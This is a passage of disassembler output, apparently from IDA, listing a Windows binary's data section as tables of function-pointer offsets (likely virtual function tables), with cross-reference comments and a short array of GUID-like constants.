dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B67B5D
dd offset sub_69B67BAE
dd offset sub_69B679C0
off_69B137B8 dd offset loc_69B65C65 ; DATA XREF: sub_69B698FE+26o
; sub_69B6993C+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B698DE
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B698E6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B698F6
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B69484
dd offset sub_69B69505
dd offset sub_69B695E4
dd offset sub_69B695BA
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B69387
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B69634
dd offset sub_69B69839
dd offset sub_69B6CF3A
dd offset sub_69B6974E
dd offset sub_69B69532
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset sub_69B698CB
off_69B13850 dd offset sub_69B65C47 ; DATA XREF: sub_69B698FE+1Fo
; sub_69B6993C+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B698CE
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B698D6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B698EE
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B69576
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B138B0 dd offset sub_69B6547B ; DATA XREF: sub_69B698FE+19o
; sub_69B6993C+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69976
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B69363
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B693C6
dd offset sub_69B69394
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B69AE5
dd offset sub_69B8CB95
dd offset sub_69B69804
dd offset sub_69B69497
align 8
off_69B13908 dd offset sub_69B2D67E ; DATA XREF: sub_69B6A7F2+72o
; sub_69B6BCF3+175o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6A9CF
dd offset sub_69B3CAC8
dd offset sub_69B6A7BC
off_69B13948 dd offset loc_69B65C65 ; DATA XREF: sub_69B6B06D-1A3o
; sub_69B6AFE7+17o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6AEFE
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6AF06
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6AFE2
dd offset sub_69B6AF6A
dd offset sub_69B6AF7F
dd offset sub_69B6AF9A
dd offset sub_69B6AA20
dd offset sub_69B6ADF2
dd offset sub_69B82AF4
dd offset nullsub_7
dd offset sub_69B6AA5E
dd offset sub_69B6AA7C
dd offset sub_69B6C9D6
dd offset sub_69B6AF16
dd offset sub_69B6AF2B
dd offset sub_69B6AF40
dd offset sub_69B6AF55
dd offset sub_69B6AEE7
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6AE05
dd offset sub_69B6AAE8
dd offset sub_69B65C39
dd offset sub_69B6AA9A
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B139E0 dd offset sub_69B65C47 ; DATA XREF: sub_69B6B06D-1AAo
; sub_69B6AFE7+10o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6AEEE
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6AEF6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6AFDD
dd offset sub_69B698CB
dd offset sub_69B6AF0E
dd offset sub_69B6CA09
dd offset sub_69B6AA37
dd offset sub_69B6C7E4
dd offset sub_69B6AAB2
dd offset sub_69B6AD26
dd offset sub_69B6AD76
dd offset sub_69B6AD8B
dd offset sub_69B6C809
off_69B13A40 dd offset sub_69B6547B ; DATA XREF: sub_69B6B06D-1B0o
; sub_69B6AFE7+Ao
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6B014
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6AA10
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6AFAF
dd offset sub_69B6AB31
dd offset sub_69B6AE56
dd offset sub_69B6CA6F
dd offset sub_69B6860C
dd offset sub_69B6C9EA
dd offset nullsub_3
dd offset sub_69B6AB52
align 8
off_69B13A98 dd offset loc_69B65C65 ; DATA XREF: sub_69B6B53D-95o
; sub_69B6B4EE+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6B4D1
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6B4D6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6B4E6
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6B174
dd offset sub_69B6B18A
dd offset sub_69B6B094
dd offset sub_69B6CA3F
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B6D410
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6B3D4
dd offset sub_69B6B1E3
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13B30 dd offset sub_69B65C47 ; DATA XREF: sub_69B6B53D-9Co
; sub_69B6B4EE+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6B4C1
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6B4C9
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6B4DE
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6B0E5
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13B90 dd offset sub_69B6547B ; DATA XREF: sub_69B6B53D-A2o
; sub_69B6B4EE+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6B554
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6B084
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6B0FB
dd offset sub_69B6B0F5
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B6B250
dd offset sub_69B6C9EA
dd offset sub_69B6B43F
off_69B13BE0 dd offset loc_69B65C65 ; DATA XREF: sub_69B6B83C-61o
; sub_69B6B7FE+19o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6D37A
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6B7F6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68650
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6B6EF
dd offset sub_69B6B6F8
dd offset sub_69B6B5B8
dd offset sub_69B6799B
dd offset sub_69B6B616
dd offset sub_69B6B670
dd offset sub_69B6C9D6
dd offset sub_69B6D410
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6B758
dd offset sub_69B6B70E
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13C78 dd offset sub_69B65C47 ; DATA XREF: sub_69B6B83C-68o
; sub_69B6B7FE+12o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6D36A
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6B7EE
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68643
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6B722
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13CD8 dd offset sub_69B6547B ; DATA XREF: sub_69B6B83C-6Eo
; sub_69B6B7FE+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6867E
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6B5A7
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6CBC6
dd offset sub_69B667EC
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B6B6CC
dd offset sub_69B6B731
dd offset sub_69B6B778
off_69B13D28 dd offset sub_69B2D67E ; DATA XREF: sub_69B6B945+1Eo
; sub_69B6BAF2+26o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6C163
dd offset sub_69B6E464
dd offset sub_69B6C030
off_69B13D68 dd offset sub_69B2D67E ; DATA XREF: sub_69B69497+2Do
; sub_69B6BCF3+288o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B69383
dd offset sub_69B69374
off_69B13DA8 dd offset loc_69B65C65 ; DATA XREF: sub_69B6BC54+2Ao
; sub_69B6C087+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6BCB7
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6BCBF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6BCCF
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6CCB6
dd offset sub_69B6B9BA
dd offset sub_69B6CA2C
dd offset sub_69B6CA3F
dd offset sub_69B6CD8D
dd offset sub_69B6B8FF
dd offset sub_69B6C9D6
dd offset sub_69B6BA2B
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6BCD7
dd offset sub_69B6BBBC
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6B937
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13E40 dd offset sub_69B65C47 ; DATA XREF: sub_69B6BC54+23o
; sub_69B6C087+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6BCA7
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6BCAF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6BCC7
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6CA4E
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13EA0 dd offset sub_69B6547B ; DATA XREF: sub_69B6BC54+19o
; sub_69B6C087+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6C0BB
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6B853
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6B983
dd offset sub_69B6860C
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B6C134
dd offset sub_69B6C9EA
dd offset nullsub_3
off_69B13EF0 dd offset loc_69B65C65 ; DATA XREF: sub_69B6D314+31o
; sub_69B6D38A+22o ...
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6D37A
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6D382
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68650
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6CCB6
dd offset sub_69B6CD21
dd offset sub_69B6CA2C
dd offset sub_69B6CA3F
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B6D410
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6CFE2
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13F88 dd offset sub_69B65C47 ; DATA XREF: sub_69B6D314+2Ao
; sub_69B6D38A+1Bo ...
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6D36A
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6D372
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68643
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6CA4E
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13FE8 dd offset sub_69B6547B ; DATA XREF: sub_69B6D314+20o
; sub_69B6D38A+15o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6867E
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6C97D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6CBC6
dd offset sub_69B6860C
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B6860C
dd offset sub_69B6C9EA
dd offset nullsub_3
off_69B14038 dd offset sub_69B2D67E ; DATA XREF: sub_69B6D994+1Eo
; sub_69B6D9D2+26o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6DB6E
dd offset sub_69B6D990
dd offset sub_69B6DAE7
off_69B14078 dd offset sub_69B2D67E ; DATA XREF: sub_69B6EBE0+1Eo
; sub_69B6FABE+3Do
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6EBB8
dd offset sub_69B6E464
dd offset sub_69B6E444
off_69B140B8 dd offset sub_69B2D67E ; DATA XREF: sub_69B6EC46+1Eo
; sub_69B6FABE+6Do
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6EC1E
dd offset sub_69B6E464
dd offset sub_69B6E454
off_69B140F8 dd offset sub_69B2D67E ; DATA XREF: sub_69B70050+Co
; sub_69B72FBE+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B72FDD
dd offset nullsub_3
dd offset nullsub_3
dd offset sub_69B59D1C
align 10h
off_69B14140 dd offset sub_69B2D67E ; DATA XREF: sub_69B700D2+Co
; sub_69B70112+13o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B75506
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B70041
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7013A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B756D0
dd offset sub_69B70163
dd offset sub_69B701AA
dd offset sub_69B700EE
align 8
off_69B14188 dd offset sub_69B2D67E ; DATA XREF: sub_69B72446+Eo
; sub_69B724DF+12o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B704C8
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7251E
dd offset sub_69B72956
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset nullsub_3
dd offset sub_69B70398
dd offset sub_69B72E2D
dd offset nullsub_3
off_69B141E8 dd offset sub_69B448B2 ; DATA XREF: sub_69B72048+8o
; sub_69B72259+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B71C97
dd offset sub_69B71CE8
dd offset sub_69B720D9
off_69B14200 dd offset sub_69B745C5 ; DATA XREF: sub_69B74DF9o
; sub_69B74E46+8o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B74690
dd offset sub_69B7470E
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A53
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365EB
dd offset sub_69B747CE
dd offset sub_69B74377
dd offset sub_69B74840
dd offset sub_69B748BF
dd offset sub_69B743B9
dd offset sub_69B7491F
dd offset sub_69B74549
dd offset sub_69B74D9D
dd offset sub_69B74DCB
off_69B142D0 dd offset sub_69B2D67E ; DATA XREF: sub_69B74F48+Co
; sub_69B751ED-254o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B758F7
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B74E89
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B74FD3
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B74FB2
dd offset sub_69B72956
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset nullsub_3
dd offset sub_69B74E98
dd offset sub_69B72E2D
dd offset sub_69B750B7
off_69B14330 dd offset sub_69B2D67E ; DATA XREF: sub_69B76631+1Eo
; sub_69B767E2+2Fo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B765E6
dd offset sub_69B765D2
off_69B14370 dd offset sub_69B2D67E ; DATA XREF: sub_69B88D77-12492o
; sub_69B768F4+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B76ABA
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B88DCD
dd offset nullsub_5
dd offset nullsub_5
off_69B143A8 dd offset sub_69B7D61C ; DATA XREF: sub_69B77918+Co
; sub_69B77998+9o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B774D4
dd offset sub_69B7759C
dd offset sub_69B7767C
dd offset sub_69B7771C
dd offset sub_69B777C4
off_69B143D8 dd offset loc_69B788CD ; DATA XREF: sub_69B7885C+18o
; sub_69B78994+13o
dd offset sub_69B7DC36
dd offset loc_69B788B3
dd offset loc_69B788BD
dd offset sub_69B3F483
dd offset sub_69B3F48B
dd offset sub_69B3F493
dd offset loc_69B788C5
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B788D7
dd offset sub_69B782DC
dd offset sub_69B78447
dd offset sub_69B78457
off_69B1441C dd offset loc_69B78126 ; DATA XREF: sub_69B7885C+Bo
; sub_69B78994+19o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B78A04
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B77AE6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B780C6
align 8
off_69B14458 dd offset sub_69B2D67E ; DATA XREF: sub_69B792D7+25o
; sub_69B794F9+36o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B79CEA
dd offset sub_69B792A8
dd offset sub_69B7961B
off_69B14498 dd offset loc_69B6F655 ; DATA XREF: sub_69B7937D+11o
; sub_69B79659+1Ao
dd offset loc_69B6F65F
dd offset loc_69B6F669
dd offset sub_69B79316
dd offset sub_69B7931E
dd offset sub_69B79326
dd offset sub_69B7932E
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B79636
dd offset sub_69B35BF2
dd offset sub_69B79167
dd offset sub_69B79094
dd offset sub_69B79D26
dd offset sub_69B79731
dd offset sub_69B79A18
dd offset sub_69B79A87
dd offset sub_69B79E62
dd offset sub_69B79422
dd offset sub_69B7916F
dd offset sub_69B7909F
dd offset sub_69B79B12
off_69B14500 dd offset sub_69B6547B ; DATA XREF: sub_69B7937D+Bo
; sub_69B79659+20o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7963E
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2D6C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7940C
off_69B14538 dd offset sub_69B7D61C ; DATA XREF: sub_69B7D5F6+Co
; sub_69B7D669+9o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B7CD5B
dd offset sub_69B7CEAC
dd offset sub_69B7CF44
dd offset sub_69B7CFDC
dd offset sub_69B7D074
dd offset sub_69B7CE1C
dd offset sub_69B7D374
dd offset sub_69B7D40C
dd offset sub_69B7D114
dd offset sub_69B7D244
dd offset sub_69B7D1AC
dd offset sub_69B7D2DC
dd offset sub_69B7D4A4
dd offset sub_69B7D53C
align 10h
off_69B14590 dd offset loc_69B7B60C ; DATA XREF: sub_69B7DBC3+4o
; sub_69B7DE94+Ao
dd offset sub_69B17349
dd offset sub_69B7DCB7
dd offset sub_69B7DF93
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B88F77
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7DC68
dd offset sub_69B7D68D
dd offset sub_69B7C36E
dd offset sub_69B7C40C
dd offset sub_69B7DCED
dd offset sub_69B7B7FD
dd offset sub_69B7B899
dd offset sub_69B7B8DB
dd offset sub_69B7B838
dd offset sub_69B7B9B8
dd offset sub_69B7BA94
dd offset sub_69B7BA11
dd offset sub_69B7BC1C
dd offset sub_69B7B948
dd offset sub_69B7AFB0
dword_69B14600 dd 0F5078F28h, 11D3C551h, 0B989h, 21E21FF8h, 0F5078F29h
; DATA XREF: .text:69B1C754o
; sub_69B7E3E4+6o
dd 11D3C551h, 0B989h, 21E21FF8h
off_69B14620 dd offset sub_69B7E18D ; DATA XREF: sub_69B7EB86+4o
; sub_69B7FA79+Do
dd offset sub_69B7E1A4
dd offset sub_69B7E1B4
dd offset sub_69B7E3E4
dd offset sub_69B1EC38
dd offset sub_69B800FB
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B7E3FA
dd offset sub_69B7FAF4
off_69B14648 dd offset sub_69B8097A ; DATA XREF: sub_69B8097A+8o
; sub_69B80B11+17o
dd offset sub_69B6860C
dd offset nullsub_5
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B6860C
off_69B14660 dd offset sub_69B80F68 ; DATA XREF: sub_69B80B11+6o
; sub_69B80F42+7o
dd offset sub_69B6860C
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B80B34
dd offset sub_69B80B30
off_69B14678 dd offset sub_69B816FA ; DATA XREF: sub_69B816BB+8o
; sub_69B81864+Co
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B81135
dd offset sub_69B81157
dd offset sub_69B81175
dd offset sub_69B81193
dd offset sub_69B811BC
dd offset sub_69B811DE
dd offset sub_69B81200
dd offset sub_69B81229
off_69B146A4 dd offset sub_69B816FA ; DATA XREF: sub_69B81774+8o
; sub_69B818AE+1Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B8136F
dd offset sub_69B55F23
dd offset sub_69B55F23
dd offset sub_69B81389
dd offset sub_69B813F9
dd offset sub_69B8141F
dd offset sub_69B81475
dd offset sub_69B82AF4
off_69B146D0 dd offset sub_69B817DF ; DATA XREF: sub_69B817C6o
; sub_69B81908+13o
dd offset sub_69B18E45
